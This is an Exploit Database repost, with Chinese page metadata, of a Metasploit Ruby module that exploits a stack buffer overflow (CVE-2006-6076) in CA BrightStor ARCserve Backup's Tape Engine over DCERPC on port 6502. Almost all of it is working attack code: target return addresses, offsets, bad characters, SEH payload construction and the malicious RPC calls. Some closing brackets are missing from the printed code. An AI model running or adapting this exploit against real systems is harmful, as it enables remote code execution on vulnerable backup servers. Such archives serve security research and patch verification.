CA BrightStor ARCserve – Tape Engine Buffer Overflow (Metasploit)

Exploit Database
136 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16407/

# $Id: tape_engine.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::DCERPC

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup

r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow

the buffer and execute arbitrary code.

'Author' => [ 'MC', 'patrick' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2006-6076' ],

[ 'OSVDB', '30637' ],

[ 'BID', '21221' ],

[ 'URL', 'http://www.milw0rm.com/exploits/3086' ],

[ 'URL', 'http://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=101317' ],

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'Space'=> 500,

'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",

'StackAdjustment' => -9500,

'Platform' => 'win',

'Targets'=>

[

[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004

[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/????

'DisclosureDate' => 'Nov 21 2006',

'DefaultTarget'=> 1))

register_options([ Opt::RPORT(6502) ], self.class)

end

def exploit

connect

handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])

print_status("Binding to #{handle} ...")

dcerpc_bind(handle)

print_status("Bound to #{handle} ...")

request ="\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"

request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

dcerpc.call(43, request)

filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])

seh= generate_seh_payload(target.ret)

sploit = filler + seh

print_status("Trying target #{target.name}...")

begin

dcerpc_call(38, sploit)

rescue Rex::Proto::DCERPC::Exceptions::NoResponse

end

handler

disconnect

end